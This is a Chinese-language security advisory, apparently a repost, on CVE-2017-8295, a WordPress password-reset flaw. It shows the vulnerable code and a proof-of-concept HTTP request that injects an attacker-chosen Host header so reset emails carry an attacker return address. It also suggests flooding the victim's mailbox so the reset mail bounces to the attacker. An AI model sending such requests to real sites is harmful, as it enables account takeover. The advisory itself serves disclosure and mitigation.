[CVE-2017-8295]WordPress<=4.7.4未经授权密码重置漏洞

简介

“WordPress是一个免费的开源内容管理系统(CMS)基于PHP和MySQL。截至2017年2月,WordPress被超过1000万网站的27.5%用于该网站。据报道,WordPress是网络上最受欢迎的网站管理或博客系统,支持超过6000万个网站。

参考链接:https://en.wikipedia.org/wiki/WordPress

漏洞详情

漏洞编号:CVE-2017-8295

公布日期:2017.05.03

漏洞发现者:dawid_golunski

影响版本:WordPress Core <= 4.7.4

漏洞描述:Wordpress具有密码重置功能,其中包含一个漏洞,在某些情况下会允许攻击者在未经过身份验证的情况下保留密码重置链接。这种攻击导致攻击者未经授权就访问受害者的WordPress帐户。

漏洞细节

当创建密码重置电子邮件时,默认情况下WordPress使用不受信任的数据,该电子邮件只会发送到账户所有者相关联的邮箱中。

这可以在以下代码片段中观察到,该代码段在调用PHP mail()函数之前创建了一个From电子邮件头:

------[ wp-includes/pluggable.php ]------

...

if ( !isset( $from_email ) ) {
        // Get the site domain and get rid of www.
        $sitename = strtolower( $_SERVER['SERVER_NAME'] );
        if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                $sitename = substr( $sitename, 4 );
        }

        $from_email = 'wordpress@' . $sitename;
}

...

-----------------------------------------

我们可以看到,Wordpress正在使用SERVER_NAME变量来获取服务器的主机名,以便创建出站密码重置电子邮件的From / Return-Path头。 但是,主要的Web服务器(如Apache)默认情况下使用客户机提供的主机名(在HTTP_HOST标头内)设置SERVER_NAME变量:

https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname

因为SERVER_NAME可以修改,攻击者可以将其设置为他所选择的任意域,例如:

attackers-mxserver.com

这将导致Wordpress将$ from_email设置为

wordpress@attackers-mxserver.com

并因此导致将“发件人/返回路径(From/Return-Path)”设置为此恶意地址的外发电子邮件。

至于攻击者能够修改哪个电子邮件头 - FromReturn-Path,这取决于服务器环境。可以在http://php.net/manual/en/function.mail.php上阅读。From头在Windows下还设置了Return-Path

根据邮件服务器的配置,可能会导致发送给受害者WordPress用户的电子邮件头中被设置恶意From/Return-Path地址。

这允许攻击者拦截包含密码重置链接的电子邮件,密码重置链接在某些情况下需要用户交互以及没有用户交互。

示例场景:

如果攻击者知道受害者用户的电子邮件地址。他们可以执行DOS攻击受害者的电子邮件帐户(例如,通过发送多个大文件来超过用户的磁盘配额或攻击邮箱的DNS服务器),以使密码重置邮件被的接收被服务器拒绝,或者到不达 目的地,从而在攻击者的服务器上可以接收到返回的重置密码邮件。

*某些自动回复者可能会附上发送到自动回复邮件正文中的电子邮件副本

*发送多个密码重置邮件强制用户回复邮件以查询无限密码重置邮件的内容。

概念证明

如果攻击者将以下类似的请求发送到一个基于IP地址的访问的虚拟主机,并且它是默认Wordpress安装:

-----[ HTTP Request ]----

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

------------------------

WordPress将触发管理员用户帐户的密码重置功能。

由于修改了HOST标题,SERVER_NAME将被设置为攻击者选择的主机名。

因此,Wordpress会将以下标题和电子邮件正文传递给/usr/bin/sendmail wrapper:

------[ resulting e-mail ]-----

Subject: [CompanyX WP] Password Reset
Return-Path: <wordpress@attackers-mxserver.com>
From: WordPress <wordpress@attackers-mxserver.com>
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Someone requested that the password be reset for the following account:

http://companyX-wp/wp/wordpress/

Username: admin

If this was a mistake, just ignore this email and nothing will happen.

To reset your password, visit the following address:

<http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin>

-------------------------------

我们可以看到Return-PathFromMessage-ID字段都具有攻击者设置的域集。

可以使用以下的bash脚本替换/usr/sbin/sendmail来执行头文件的验证:

#!/bin/bash
cat > /tmp/outgoing-email

解决方案

这是一个影响所有WordPress版本,包括最新的4.7.4版本的漏洞。在成功利用后,攻击者可能会重置用户的密码,未经授权的访问他们的WordPress帐户。

目前官方还没有解决方案可用。作为临时解决方案,用户可以启用UseCanonicalName来强制执行静态SERVER_NAME值。

https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname

这个问题被多次报道给WordPress安全团队,并于2016年7月发布了第一份报告。

由于在这种情况下没有任何进展,这项咨询现在终于公布了,并且没有官方补丁。

参考

https://legalhackers.com

https://ExploitBox.io

供应商网站:

https://wordpress.org

http://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalnam

http://php.net/manual/en/function.mail.php

https://tools.ietf.org/html/rfc5321

 

*转载请注明来自MottoIN

原创文章,作者:Stbird,如若转载,请注明出处:http://www.mottoin.com/101768.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code